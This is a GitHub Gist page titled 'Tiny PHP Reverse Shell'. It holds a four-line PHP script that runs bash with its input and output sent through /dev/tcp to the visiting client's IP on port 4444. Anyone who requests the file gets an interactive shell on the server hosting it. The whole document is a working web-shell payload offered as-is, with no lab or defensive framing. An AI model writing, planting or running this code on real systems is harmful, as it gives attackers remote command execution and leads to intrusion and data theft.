Last active
July 23, 2020 13:36
-
-
Save liamg/6c454114255ec0f12ac26c9ed5a474c9 to your computer and use it in GitHub Desktop.
Tiny PHP Reverse Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$ip = $_SERVER["REMOTE_ADDR"]; | |
set_time_limit(0); | |
exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/4444 0>&1'"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment